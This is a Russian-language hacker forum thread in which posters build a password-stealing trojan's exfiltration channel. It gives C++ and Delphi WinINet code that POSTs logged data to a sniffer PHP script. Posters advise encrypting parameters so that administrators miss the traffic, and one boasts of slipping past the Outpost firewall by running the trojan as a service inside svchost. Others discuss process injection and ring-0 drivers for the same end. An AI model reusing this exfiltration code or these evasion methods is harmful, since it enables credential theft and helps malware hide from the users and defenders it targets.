юзер может сам по себе пользоваться проксей. что б юзать сокеты, нужно определить параметры этой прокси: ip, port.
Ну я и имел это ввиду в своем посте! =) Просто юзер может сидеть в локале, а в инет лезть через проксю, которая стоит на серваке конторы.. =)
Пакеты пакетами... Если параметры урла шифровать (хоть банальным Xor`ом...) будет совсем надежно! Да и метод пост в логах прокси не выглядит устрашающе! В Get`е видна вся урл строчка, со всеми параметрами, тогда у юзера или админа могут появиться не хороши мысли, какого это у него идут транзакции на левый хост... Да еще PHP скрипт отрабатывает на левом хосте по этой урле! А POST для таких целей самое то!
Представлю на ваш суд пару реализаций Реализация на C++(Borland) (сори за изврат, Visual Studio упала =)) !!пару раз не выполнялась, хз почему!! //объявляем нужный нам модуль #include <wininet.h> #pragma comment(lib,"wininet.lib") //данные static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded"); static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи const static TCHAR *AcceptType = ("Accept: */*"); //код //создаем сессию HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //конектимся HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0); //создаем запрос HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0); //отправляем его с нашими данными HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata)); //подчищаем за собой InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hSession); реализация на Delphi: //данные const hdrs: string = 'Content-Type: application/x-www-form-urlencoded'; frmdata: string = 'LOG=TEST'#13#10; var hSession,hConnect,hRequest: HINTERNET; AcceptType: LPStr; //код begin //создаем сессию hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0); //коннектимся hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFAULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0); //устанавливаем тип приема AcceptType := PChar('Accept: */*'); //создаем запрос hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0); //отправляем его HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs),PChar(frmdata),Length(frmdata)); // подчищаем за собой InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hSession);
Хм... До ужаса знакомые исходники! =( Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет! И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь..
Пост - запрос надо шифровать полюбому, так как отправка болезненно реагирует на перенос строки($0D$0A), особенно если данные не статичны! По исходнику: проверок нет - сделано на коленке минут за 10 =) Есть один минус отправки - весь этот код юзает настройки у IE и если браузер не был использован для подключения к какому-нибудь серверу, что-то отправить будет не возможно! Насчет обхода фаера идея хорошая! надо будет покопаться!
Мой трой который дерет пасы от MAgenta юзает HTTP функции.. Есть грабли с Файрволами! =( Нужно либо его мочить, либо обходить!
Файрволлы HttpSendRequest() перехватят. Я думаю нужно писать приложение которое будет мучать файрволл как раз таки из под ring0, тогда точн прокатит =)))))))
Yahooo! Натянул я OutPost! =)))))) Методом POST через HTTP (API).... Отправляю без перехвата! =) Не видит он ни хера! Правда есть существенная проблема!!! Он **** отлавливает момент внедрения в чужой процесс кода! =( Блин без написания dll и опускания до ring-0 не обойтись имхо! =( Мля...
Ура! Удалось обойти OutPost правда тестил на 3-х тачилах только.... Но надеюсь что сия фишка действительно будет работать и против других файеров! Короче спасает от всех напастей трой в виде сервиса! Не совсем понятно почему? =) Но! Как ни странно когда стартует сервис и создает свой Image в процессе svchost OutPost на него просто кладет! =))))) Что удивительно имхо эта хренотень (OutPost) имеет толпу хуков на системные вызовы WriteProccess в Kernel32! Не суть! А так как сервису (трою) удалось ломануться в чужой процесс, он без особых усилий отправляет мессаги в инет, имхо svchost является одним из разрешенных процессов, оно и понятно! =) Не знаю как даная приблуда будет работать с другими антизаразами, но у меня пашет! Если подтвердится, что этот способ имеет право на жизнь, я напишу статейку с исходниками (все писалось на C++)
ring-0 - Привилегия (супервизор) уровень системного ядра! На этом уровне можно делать с любым процессом что угодно! Не совсем понимаю что такое BSOD, но если все грамотно реализовать, то работать будет на ура! тока драйвер придется писать! =))) НА АсМЕ!!! Можно извратиться и на Си... Но.... Очень сомневаюсь! На самом деле можно найти дыры и без ring-0...